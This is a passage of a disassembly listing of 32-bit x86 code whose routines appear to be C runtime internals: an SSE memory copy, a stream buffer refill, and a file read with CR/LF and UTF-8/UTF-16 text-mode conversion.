loc_413883:				; CODE XREF: sub_413861+Bj
		push	0FCh
		call	sub_4136C1
		push	0FFh
		call	sub_4136C1
		pop	ecx
		pop	ecx

locret_413899:				; CODE XREF: sub_413861+17j
					; sub_413861+20j
		retn
sub_413861	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41389A	proc near		; CODE XREF: sub_413921+4Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], esi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		shr	ecx, 7
		jmp	short loc_4138BA
; ---------------------------------------------------------------------------
		db 8Dh,	9Bh, 4 dup(0)
; ---------------------------------------------------------------------------

loc_4138BA:				; CODE XREF: sub_41389A+18j
					; sub_41389A+7Bj
		movdqa	xmm0, oword ptr	[esi]
		movdqa	xmm1, oword ptr	[esi+10h]
		movdqa	xmm2, oword ptr	[esi+20h]
		movdqa	xmm3, oword ptr	[esi+30h]
		movdqa	oword ptr [edi], xmm0
		movdqa	oword ptr [edi+10h], xmm1
		movdqa	oword ptr [edi+20h], xmm2
		movdqa	oword ptr [edi+30h], xmm3
		movdqa	xmm4, oword ptr	[esi+40h]
		movdqa	xmm5, oword ptr	[esi+50h]
		movdqa	xmm6, oword ptr	[esi+60h]
		movdqa	xmm7, oword ptr	[esi+70h]
		movdqa	oword ptr [edi+40h], xmm4
		movdqa	oword ptr [edi+50h], xmm5
		movdqa	oword ptr [edi+60h], xmm6
		movdqa	oword ptr [edi+70h], xmm7
		lea	esi, [esi+80h]
		lea	edi, [edi+80h]
		dec	ecx
		jnz	short loc_4138BA
		mov	esi, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41389A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413921	proc near		; CODE XREF: sub_40D820+42j
					; sub_411470+42j ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], ebx
		mov	ebx, [ebp+arg_4]
		mov	eax, ebx
		cdq
		mov	ecx, eax
		mov	eax, [ebp+arg_0]
		xor	ecx, edx
		sub	ecx, edx
		and	ecx, 0Fh
		xor	ecx, edx
		sub	ecx, edx
		cdq
		mov	edi, eax
		xor	edi, edx
		sub	edi, edx
		and	edi, 0Fh
		xor	edi, edx
		sub	edi, edx
		mov	edx, ecx
		or	edx, edi
		jnz	short loc_4139A4
		mov	esi, [ebp+arg_8]
		mov	ecx, esi
		and	ecx, 7Fh
		mov	[ebp+var_18], ecx
		cmp	esi, ecx
		jz	short loc_41397C
		sub	esi, ecx
		push	esi
		push	ebx
		push	eax
		call	sub_41389A
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_18]

loc_41397C:				; CODE XREF: sub_413921+46j
		test	ecx, ecx
		jz	short loc_4139F7
		mov	ebx, [ebp+arg_8]
		mov	edx, [ebp+arg_4]
		add	edx, ebx
		sub	edx, ecx
		mov	[ebp+var_14], edx
		add	ebx, eax
		sub	ebx, ecx
		mov	[ebp+var_10], ebx
		mov	esi, [ebp+var_14]
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_18]
		rep movsb
		mov	eax, [ebp+arg_0]
		jmp	short loc_4139F7
; ---------------------------------------------------------------------------

loc_4139A4:				; CODE XREF: sub_413921+37j
		cmp	ecx, edi
		jnz	short loc_4139DD
		neg	ecx
		add	ecx, 10h
		mov	[ebp+var_1C], ecx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+var_1C]
		rep movsb
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_1C]
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+var_1C]
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_1C]
		push	eax
		push	edx
		push	ecx
		call	sub_413921
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		jmp	short loc_4139F7
; ---------------------------------------------------------------------------

loc_4139DD:				; CODE XREF: sub_413921+85j
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+arg_0]

loc_4139F7:				; CODE XREF: sub_413921+5Dj
					; sub_413921+81j ...
		mov	ebx, [ebp+var_4]
		mov	esi, [ebp+var_8]
		mov	edi, [ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_413921	endp


; =============== S U B	R O U T	I N E =======================================



sub_413A04	proc near		; CODE XREF: sub_40DBB4+EDp
					; sub_412A39+Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		cmp	esi, edi
		jnz	short loc_413A2D
		call	sub_40F7D4
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		mov	dword ptr [eax], 16h
		call	sub_40CB08
		add	esp, 14h
		jmp	loc_413B1E
; ---------------------------------------------------------------------------

loc_413A2D:				; CODE XREF: sub_413A04+Aj
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_413B1E
		test	al, 40h
		jnz	loc_413B1E
		test	al, 2
		jz	short loc_413A4F
		or	eax, 20h
		mov	[esi+0Ch], eax
		jmp	loc_413B1E
; ---------------------------------------------------------------------------

loc_413A4F:				; CODE XREF: sub_413A04+3Ej
		or	eax, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_413A64
		push	esi
		call	sub_41725C
		pop	ecx
		jmp	short loc_413A69
; ---------------------------------------------------------------------------

loc_413A64:				; CODE XREF: sub_413A04+55j
		mov	eax, [esi+8]
		mov	[esi], eax

loc_413A69:				; CODE XREF: sub_413A04+5Ej
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	esi
		call	sub_4126A4
		pop	ecx
		push	eax
		call	sub_4140C6
		add	esp, 0Ch
		cmp	eax, edi
		mov	[esi+4], eax
		jz	loc_413B0E
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413B0E
		test	byte ptr [esi+0Ch], 82h
		jnz	short loc_413AE4
		push	esi
		call	sub_4126A4
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_413ACF
		push	esi
		call	sub_4126A4
		cmp	eax, 0FFFFFFFEh
		pop	ecx
		jz	short loc_413ACF
		push	esi
		call	sub_4126A4
		sar	eax, 5
		push	esi
		lea	edi, ds:433C00h[eax*4]
		call	sub_4126A4
		and	eax, 1Fh
		imul	eax, 28h
		add	eax, [edi]
		pop	ecx
		pop	ecx
		jmp	short loc_413AD4
; ---------------------------------------------------------------------------

loc_413ACF:				; CODE XREF: sub_413A04+9Bj
					; sub_413A04+A7j
		mov	eax, offset dword_423BB8

loc_413AD4:				; CODE XREF: sub_413A04+C9j
		mov	al, [eax+4]
		and	al, 82h
		cmp	al, 82h
		jnz	short loc_413AE4
		or	dword ptr [esi+0Ch], 2000h

loc_413AE4:				; CODE XREF: sub_413A04+8Fj
					; sub_413A04+D7j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_413B01
		mov	eax, [esi+0Ch]
		test	al, 8
		jz	short loc_413B01
		test	ax, 400h
		jnz	short loc_413B01
		mov	dword ptr [esi+18h], 1000h

loc_413B01:				; CODE XREF: sub_413A04+E7j
					; sub_413A04+EEj ...
		mov	ecx, [esi]
		dec	dword ptr [esi+4]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_413B21
; ---------------------------------------------------------------------------

loc_413B0E:				; CODE XREF: sub_413A04+80j
					; sub_413A04+89j
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		mov	[esi+4], edi

loc_413B1E:				; CODE XREF: sub_413A04+24j
					; sub_413A04+2Ej ...
		or	eax, 0FFFFFFFFh

loc_413B21:				; CODE XREF: sub_413A04+108j
		pop	edi
		pop	esi
		retn
sub_413A04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413B24	proc near		; CODE XREF: sub_4140C6+9Ap
					; sub_417C3F+355p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= word ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	edx, [ebp+arg_8]
		push	esi
		mov	esi, [ebp+arg_0]
		push	0FFFFFFFEh
		pop	eax
		cmp	esi, eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_1C], edx
		jnz	short loc_413B59
		call	sub_40F7E7
		and	dword ptr [eax], 0
		call	sub_40F7D4
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	loc_4140C3
; ---------------------------------------------------------------------------

loc_413B59:				; CODE XREF: sub_413B24+18j
		push	edi
		xor	edi, edi
		cmp	esi, edi
		jl	short loc_413B68
		cmp	esi, dword_433BE4
		jb	short loc_413B8F

loc_413B68:				; CODE XREF: sub_413B24+3Aj
		call	sub_40F7E7
		mov	[eax], edi
		call	sub_40F7D4
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		mov	dword ptr [eax], 9
		call	sub_40CB08
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	loc_4140C2
; ---------------------------------------------------------------------------

loc_413B8F:				; CODE XREF: sub_413B24+42j
		mov	eax, esi
		and	esi, 1Fh
		imul	esi, 28h
		sar	eax, 5
		push	ebx
		lea	ebx, ds:433C00h[eax*4]
		mov	eax, [ebx]
		add	eax, esi
		mov	cl, [eax+4]
		test	cl, 1
		jnz	short loc_413BC5
		call	sub_40F7E7
		mov	[eax], edi
		call	sub_40F7D4
		mov	dword ptr [eax], 9
		jmp	loc_413D0C
; ---------------------------------------------------------------------------

loc_413BC5:				; CODE XREF: sub_413B24+88j
		cmp	edx, edi
		mov	[ebp+var_10], edi
		jz	loc_4140BF
		test	cl, 2
		jnz	loc_4140BF
		mov	ecx, [ebp+arg_4]
		cmp	ecx, edi
		jz	loc_413CFA
		mov	al, [eax+24h]
		add	al, al
		sar	al, 1
		mov	[ebp+var_2], al
		movsx	eax, al
		dec	eax
		jz	loc_413CF2
		dec	eax
		jnz	short loc_413C0D
		mov	eax, edx
		not	eax
		test	al, 1
		jz	loc_413CFA
		and	edx, 0FFFFFFFEh
		mov	[ebp+arg_8], edx

loc_413C0D:				; CODE XREF: sub_413B24+D5j
		mov	[ebp+var_C], ecx

loc_413C10:				; CODE XREF: sub_413B24+216j
		mov	ecx, [ebx]
		mov	eax, [ebp+var_C]
		lea	edi, [esi+ecx]
		test	byte ptr [edi+4], 48h
		jz	short loc_413C94
		mov	cl, [edi+5]
		cmp	cl, 0Ah
		jz	short loc_413C94
		xor	edx, edx
		cmp	[ebp+arg_8], edx
		jz	short loc_413C94
		mov	[eax], cl
		mov	ecx, [ebx]
		inc	eax
		dec	[ebp+arg_8]
		cmp	[ebp+var_2], dl
		mov	[ebp+var_10], 1
		mov	byte ptr [esi+ecx+5], 0Ah
		jz	short loc_413C94
		mov	ecx, [ebx]
		mov	cl, [esi+ecx+25h]
		cmp	cl, 0Ah
		jz	short loc_413C94
		cmp	[ebp+arg_8], edx
		jz	short loc_413C94
		mov	[eax], cl
		mov	ecx, [ebx]
		inc	eax
		dec	[ebp+arg_8]
		cmp	[ebp+var_2], 1
		mov	[ebp+var_10], 2
		mov	byte ptr [esi+ecx+25h],	0Ah
		jnz	short loc_413C94
		mov	ecx, [ebx]
		mov	cl, [esi+ecx+26h]
		cmp	cl, 0Ah
		jz	short loc_413C94
		cmp	[ebp+arg_8], edx
		jz	short loc_413C94
		mov	[eax], cl
		mov	ecx, [ebx]
		inc	eax
		dec	[ebp+arg_8]
		mov	[ebp+var_10], 3
		mov	byte ptr [esi+ecx+26h],	0Ah

loc_413C94:				; CODE XREF: sub_413B24+F8j
					; sub_413B24+100j ...
		push	0
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_8]
		push	eax
		mov	eax, [ebx]
		push	dword ptr [esi+eax]
		call	ds:off_41E068
		test	eax, eax
		jz	loc_414089
		mov	edi, [ebp+var_18]
		test	edi, edi
		jl	loc_414089
		cmp	edi, [ebp+arg_8]
		ja	loc_414089
		mov	eax, [ebx]
		add	[ebp+var_10], edi
		lea	eax, [esi+eax+4]
		test	byte ptr [eax],	80h
		jz	loc_413F29
		cmp	[ebp+var_2], 2
		jz	loc_413F53
		test	edi, edi
		jz	short loc_413D5E
		mov	ecx, [ebp+var_C]
		cmp	byte ptr [ecx],	0Ah
		jnz	short loc_413D5E
		or	byte ptr [eax],	4
		jmp	short loc_413D61
; ---------------------------------------------------------------------------

loc_413CF2:				; CODE XREF: sub_413B24+CEj
		mov	eax, edx
		not	eax
		test	al, 1
		jnz	short loc_413D1B

loc_413CFA:				; CODE XREF: sub_413B24+BAj
					; sub_413B24+DDj
		call	sub_40F7E7
		mov	[eax], edi
		call	sub_40F7D4
		mov	dword ptr [eax], 16h

loc_413D0C:				; CODE XREF: sub_413B24+9Cj
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40CB08
		add	esp, 14h
		jmp	short loc_413D56
; ---------------------------------------------------------------------------

loc_413D1B:				; CODE XREF: sub_413B24+1D4j
		mov	eax, edx
		push	4
		pop	ecx
		shr	eax, 1
		cmp	eax, ecx
		mov	[ebp+arg_8], ecx
		jb	short loc_413D2C
		mov	[ebp+arg_8], eax

loc_413D2C:				; CODE XREF: sub_413B24+203j
		push	[ebp+arg_8]
		call	sub_41183A
		cmp	eax, edi
		pop	ecx
		mov	[ebp+var_C], eax
		jnz	loc_413C10
		call	sub_40F7D4
		mov	dword ptr [eax], 0Ch
		call	sub_40F7E7
		mov	dword ptr [eax], 8

loc_413D56:				; CODE XREF: sub_413B24+1F5j
		or	eax, 0FFFFFFFFh
		jmp	loc_4140C1
; ---------------------------------------------------------------------------

loc_413D5E:				; CODE XREF: sub_413B24+1BFj
					; sub_413B24+1C7j
		and	byte ptr [eax],	0FBh

loc_413D61:				; CODE XREF: sub_413B24+1CCj
		mov	edi, [ebp+var_C]
		mov	eax, [ebp+var_10]
		add	eax, edi
		cmp	edi, eax
		mov	[ebp+arg_8], edi
		mov	[ebp+var_10], eax
		jnb	loc_413E47

loc_413D77:				; CODE XREF: sub_413B24+306j
		mov	ecx, [ebp+arg_8]
		mov	al, [ecx]
		cmp	al, 1Ah
		jz	loc_413E32
		cmp	al, 0Dh
		jz	short loc_413D94
		mov	[edi], al
		inc	edi
		inc	ecx
		mov	[ebp+arg_8], ecx
		jmp	loc_413E24
; ---------------------------------------------------------------------------

loc_413D94:				; CODE XREF: sub_413B24+262j
		mov	eax, [ebp+var_10]
		dec	eax
		cmp	ecx, eax
		jnb	short loc_413DB3
		lea	eax, [ecx+1]
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_413DAE
		inc	ecx
		inc	ecx
		mov	[ebp+arg_8], ecx

loc_413DA9:				; CODE XREF: sub_413B24+2CAj
					; sub_413B24+2E3j
		mov	byte ptr [edi],	0Ah
		jmp	short loc_413E23
; ---------------------------------------------------------------------------

loc_413DAE:				; CODE XREF: sub_413B24+27Ej
		mov	[ebp+arg_8], eax
		jmp	short loc_413E20
; ---------------------------------------------------------------------------

loc_413DB3:				; CODE XREF: sub_413B24+276j
		inc	[ebp+arg_8]
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		mov	eax, [ebx]
		push	dword ptr [esi+eax]
		call	ds:off_41E068
		test	eax, eax
		jnz	short loc_413DDB
		call	ds:dword_41E0D8	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_413E20

loc_413DDB:				; CODE XREF: sub_413B24+2ABj
		cmp	[ebp+var_18], 0
		jz	short loc_413E20
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 48h
		jz	short loc_413DFE
		cmp	[ebp+var_1], 0Ah
		jz	short loc_413DA9
		mov	byte ptr [edi],	0Dh
		mov	eax, [ebx]
		mov	cl, [ebp+var_1]
		mov	[esi+eax+5], cl
		jmp	short loc_413E23
; ---------------------------------------------------------------------------

loc_413DFE:				; CODE XREF: sub_413B24+2C4j
		cmp	edi, [ebp+var_C]
		jnz	short loc_413E09
		cmp	[ebp+var_1], 0Ah
		jz	short loc_413DA9

loc_413E09:				; CODE XREF: sub_413B24+2DDj
		push	1
		push	0FFFFFFFFh
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_416A1E
		add	esp, 10h
		cmp	[ebp+var_1], 0Ah
		jz	short loc_413E24

loc_413E20:				; CODE XREF: sub_413B24+28Dj
					; sub_413B24+2B5j ...
		mov	byte ptr [edi],	0Dh

loc_413E23:				; CODE XREF: sub_413B24+288j
					; sub_413B24+2D8j
		inc	edi

loc_413E24:				; CODE XREF: sub_413B24+26Bj
					; sub_413B24+2FAj
		mov	eax, [ebp+var_10]
		cmp	[ebp+arg_8], eax
		jb	loc_413D77
		jmp	short loc_413E47
; ---------------------------------------------------------------------------

loc_413E32:				; CODE XREF: sub_413B24+25Aj
		mov	eax, [ebx]
		lea	eax, [esi+eax+4]
		test	byte ptr [eax],	40h
		jnz	short loc_413E42
		or	byte ptr [eax],	2
		jmp	short loc_413E47
; ---------------------------------------------------------------------------

loc_413E42:				; CODE XREF: sub_413B24+317j
		mov	al, [ecx]
		mov	[edi], al
		inc	edi

loc_413E47:				; CODE XREF: sub_413B24+24Dj
					; sub_413B24+30Cj ...
		mov	eax, edi
		sub	eax, [ebp+var_C]
		cmp	[ebp+var_2], 1
		mov	[ebp+var_10], eax
		jnz	loc_413F29
		test	eax, eax
		jz	loc_413F29
		dec	edi
		mov	cl, [edi]
		test	cl, cl
		js	short loc_413E6E
		inc	edi
		jmp	loc_413EF4
; ---------------------------------------------------------------------------

loc_413E6E:				; CODE XREF: sub_413B24+342j
		xor	eax, eax
		inc	eax
		movzx	ecx, cl
		jmp	short loc_413E85
; ---------------------------------------------------------------------------

loc_413E76:				; CODE XREF: sub_413B24+368j
		cmp	eax, 4
		jg	short loc_413E8E
		cmp	edi, [ebp+var_C]
		jb	short loc_413E8E
		dec	edi
		movzx	ecx, byte ptr [edi]
		inc	eax

loc_413E85:				; CODE XREF: sub_413B24+350j
		cmp	byte_423C98[ecx], 0
		jz	short loc_413E76

loc_413E8E:				; CODE XREF: sub_413B24+355j
					; sub_413B24+35Aj
		mov	dl, [edi]
		movzx	ecx, dl
		movsx	ecx, byte_423C98[ecx]
		test	ecx, ecx
		jnz	short loc_413EAB
		call	sub_40F7D4
		mov	dword ptr [eax], 2Ah
		jmp	short loc_413F25
; ---------------------------------------------------------------------------

loc_413EAB:				; CODE XREF: sub_413B24+378j
		inc	ecx
		cmp	ecx, eax
		jnz	short loc_413EB4
		add	edi, eax
		jmp	short loc_413EF4
; ---------------------------------------------------------------------------

loc_413EB4:				; CODE XREF: sub_413B24+38Aj
		mov	ecx, [ebx]
		add	ecx, esi
		test	byte ptr [ecx+4], 48h
		jz	short loc_413EE2
		inc	edi
		cmp	eax, 2
		mov	[ecx+5], dl
		jl	short loc_413ED0
		mov	dl, [edi]
		mov	ecx, [ebx]
		mov	[esi+ecx+25h], dl
		inc	edi

loc_413ED0:				; CODE XREF: sub_413B24+3A1j
		cmp	eax, 3
		jnz	short loc_413EDE
		mov	dl, [edi]
		mov	ecx, [ebx]
		mov	[esi+ecx+26h], dl
		inc	edi

loc_413EDE:				; CODE XREF: sub_413B24+3AFj
		sub	edi, eax
		jmp	short loc_413EF4
; ---------------------------------------------------------------------------

loc_413EE2:				; CODE XREF: sub_413B24+398j
		neg	eax
		cdq
		push	1
		push	edx
		push	eax
		push	[ebp+arg_0]
		call	sub_416A1E
		add	esp, 10h

loc_413EF4:				; CODE XREF: sub_413B24+345j
					; sub_413B24+38Ej ...
		mov	eax, [ebp+var_1C]
		sub	edi, [ebp+var_C]
		shr	eax, 1
		push	eax
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_C]
		push	0
		push	0FDE9h
		call	ds:dword_41E08C	; MultiByteToWideChar
		test	eax, eax
		mov	[ebp+var_10], eax
		jnz	short loc_413F4C
		call	ds:dword_41E0D8	; RtlGetLastWin32Error

loc_413F1E:				; CODE XREF: sub_413B24+58Cj
		push	eax
		call	sub_40F7FA
		pop	ecx

loc_413F25:				; CODE XREF: sub_413B24+385j
					; sub_413B24+584j
		or	[ebp+var_14], 0FFFFFFFFh

loc_413F29:				; CODE XREF: sub_413B24+1ADj
					; sub_413B24+32Fj ...
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_4]
		jz	short loc_413F38
		push	eax
		call	sub_40D35A
		pop	ecx

loc_413F38:				; CODE XREF: sub_413B24+40Bj
		mov	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFEh
		jnz	loc_4140C1
		mov	eax, [ebp+var_10]
		jmp	loc_4140C1
; ---------------------------------------------------------------------------

loc_413F4C:				; CODE XREF: sub_413B24+3F2j
		add	eax, eax
		mov	[ebp+var_10], eax
		jmp	short loc_413F29
; ---------------------------------------------------------------------------

loc_413F53:				; CODE XREF: sub_413B24+1B7j
		test	edi, edi
		jz	short loc_413F65
		mov	ecx, [ebp+var_C]
		cmp	word ptr [ecx],	0Ah
		jnz	short loc_413F65
		or	byte ptr [eax],	4
		jmp	short loc_413F68
; ---------------------------------------------------------------------------

loc_413F65:				; CODE XREF: sub_413B24+431j
					; sub_413B24+43Aj
		and	byte ptr [eax],	0FBh

loc_413F68:				; CODE XREF: sub_413B24+43Fj
		mov	edi, [ebp+var_C]
		mov	eax, [ebp+var_10]
		add	eax, edi
		cmp	edi, eax
		mov	[ebp+arg_8], edi
		mov	[ebp+var_10], eax
		jnb	loc_41407E

loc_413F7E:				; CODE XREF: sub_413B24+53Aj
		mov	eax, [ebp+arg_8]
		movzx	ecx, word ptr [eax]
		cmp	cx, 1Ah
		jz	loc_414066
		cmp	cx, 0Dh
		jz	short loc_413FA3
		mov	[edi], cx
		inc	edi
		inc	edi
		inc	eax
		inc	eax
		mov	[ebp+arg_8], eax
		jmp	loc_414058
; ---------------------------------------------------------------------------

loc_413FA3:				; CODE XREF: sub_413B24+46Ej
		mov	ecx, [ebp+var_10]
		add	ecx, 0FFFFFFFEh
		cmp	eax, ecx
		jnb	short loc_413FCE
		lea	ecx, [eax+2]
		cmp	word ptr [ecx],	0Ah
		jnz	short loc_413FC6
		add	eax, 4
		mov	[ebp+arg_8], eax

loc_413FBC:				; CODE XREF: sub_413B24+4E7j
					; sub_413B24+513j
		mov	word ptr [edi],	0Ah
		jmp	loc_414056
; ---------------------------------------------------------------------------

loc_413FC6:				; CODE XREF: sub_413B24+490j
		mov	[ebp+arg_8], ecx
		jmp	loc_414051
; ---------------------------------------------------------------------------

loc_413FCE:				; CODE XREF: sub_413B24+487j
		add	[ebp+arg_8], 2
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	2
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebx]
		push	dword ptr [esi+eax]
		call	ds:off_41E068
		test	eax, eax
		jnz	short loc_413FF7
		call	ds:dword_41E0D8	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_414051

loc_413FF7:				; CODE XREF: sub_413B24+4C7j
		cmp	[ebp+var_18], 0
		jz	short loc_414051
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 48h
		jz	short loc_41402D
		cmp	[ebp+var_8], 0Ah
		jz	short loc_413FBC
		mov	word ptr [edi],	0Dh
		mov	eax, [ebx]
		mov	cl, byte ptr [ebp+var_8]
		mov	[esi+eax+5], cl
		mov	eax, [ebx]
		mov	cl, byte ptr [ebp+var_8+1]
		mov	[esi+eax+25h], cl
		mov	eax, [ebx]
		mov	byte ptr [esi+eax+26h],	0Ah
		jmp	short loc_414056
; ---------------------------------------------------------------------------

loc_41402D:				; CODE XREF: sub_413B24+4E0j
		cmp	edi, [ebp+var_C]
		jnz	short loc_414039
		cmp	[ebp+var_8], 0Ah
		jz	short loc_413FBC

loc_414039:				; CODE XREF: sub_413B24+50Cj
		push	1
		push	0FFFFFFFFh
		push	0FFFFFFFEh
		push	[ebp+arg_0]
		call	sub_416A1E
		add	esp, 10h
		cmp	[ebp+var_8], 0Ah
		jz	short loc_414058

loc_414051:				; CODE XREF: sub_413B24+4A5j
					; sub_413B24+4D1j ...
		mov	word ptr [edi],	0Dh

loc_414056:				; CODE XREF: sub_413B24+49Dj
					; sub_413B24+507j
		inc	edi
		inc	edi

loc_414058:				; CODE XREF: sub_413B24+47Aj
					; sub_413B24+52Bj
		mov	eax, [ebp+var_10]
		cmp	[ebp+arg_8], eax
		jb	loc_413F7E
		jmp	short loc_41407E
; ---------------------------------------------------------------------------

loc_414066:				; CODE XREF: sub_413B24+464j
		mov	ecx, [ebx]
		lea	esi, [esi+ecx+4]
		test	byte ptr [esi],	40h
		jnz	short loc_414076
		or	byte ptr [esi],	2
		jmp	short loc_41407E
; ---------------------------------------------------------------------------

loc_414076:				; CODE XREF: sub_413B24+54Bj
		mov	ax, [eax]
		mov	[edi], ax
		inc	edi
		inc	edi

loc_41407E:				; CODE XREF: sub_413B24+454j
					; sub_413B24+540j ...
		sub	edi, [ebp+var_C]
		mov	[ebp+var_10], edi
		jmp	loc_413F29
; ---------------------------------------------------------------------------

loc_414089:				; CODE XREF: sub_413B24+187j
					; sub_413B24+192j ...
		call	ds:dword_41E0D8	; RtlGetLastWin32Error
		push	5
		pop	esi
		cmp	eax, esi
		jnz	short loc_4140AD
		call	sub_40F7D4
		mov	dword ptr [eax], 9
		call	sub_40F7E7
		mov	[eax], esi
		jmp	loc_413F25
; ---------------------------------------------------------------------------

loc_4140AD:				; CODE XREF: sub_413B24+570j
		cmp	eax, 6Dh
		jnz	loc_413F1E
		and	[ebp+var_14], 0
		jmp	loc_413F29
; ---------------------------------------------------------------------------

loc_4140BF:				; CODE XREF: sub_413B24+A6j
					; sub_413B24+AFj
		xor	eax, eax

loc_4140C1:				; CODE XREF: sub_413B24+235j
					; sub_413B24+41Aj ...
		pop	ebx

loc_4140C2:				; CODE XREF: sub_413B24+66j
		pop	edi

loc_4140C3:				; CODE XREF: sub_413B24+30j
		pop	esi
		leave
		retn
sub_413B24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4140C6	proc near		; CODE XREF: sub_40DBB4+C9p
					; sub_413A04+73p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	10h
		push	offset dword_421B98
		call	__SEH_prolog4
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_4140F5
		call	sub_40F7E7
		and	dword ptr [eax], 0
		call	sub_40F7D4
		mov	dword ptr [eax], 9

loc_4140ED:				; CODE XREF: sub_4140C6+5Cj
		or	eax, 0FFFFFFFFh
		jmp	loc_414192
; ---------------------------------------------------------------------------

loc_4140F5:				; CODE XREF: sub_4140C6+12j
		xor	edi, edi
		cmp	eax, edi
		jl	short loc_414103
		cmp	eax, dword_433BE4
		jb	short loc_414124

loc_414103:				; CODE XREF: sub_4140C6+33j
					; sub_4140C6+7Cj
		call	sub_40F7E7
		mov	[eax], edi
		call	sub_40F7D4
		mov	dword ptr [eax], 9
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40CB08
		add	esp, 14h
		jmp	short loc_4140ED
; ---------------------------------------------------------------------------

loc_414124:				; CODE XREF: sub_4140C6+3Bj
		mov	ecx, eax
		sar	ecx, 5
		lea	ebx, ds:433C00h[ecx*4]
		mov	esi, eax
		and	esi, 1Fh
		imul	esi, 28h
		mov	ecx, [ebx]
		movzx	ecx, byte ptr [ecx+esi+4]
		and	ecx, 1
		jz	short loc_414103
		push	eax
		call	sub_4189BA
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41416D
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_413B24
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		jmp	short loc_414183
; ---------------------------------------------------------------------------

loc_41416D:				; CODE XREF: sub_4140C6+8Fj
		call	sub_40F7D4
		mov	dword ptr [eax], 9
		call	sub_40F7E7
		mov	[eax], edi
		or	[ebp+var_1C], 0FFFFFFFFh

loc_414183:				; CODE XREF: sub_4140C6+A5j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_414198
		mov	eax, [ebp+var_1C]

loc_414192:				; CODE XREF: sub_4140C6+2Aj
		call	__SEH_epilog4
		retn
sub_4140C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_414198	proc near		; CODE XREF: sub_4140C6+C4p
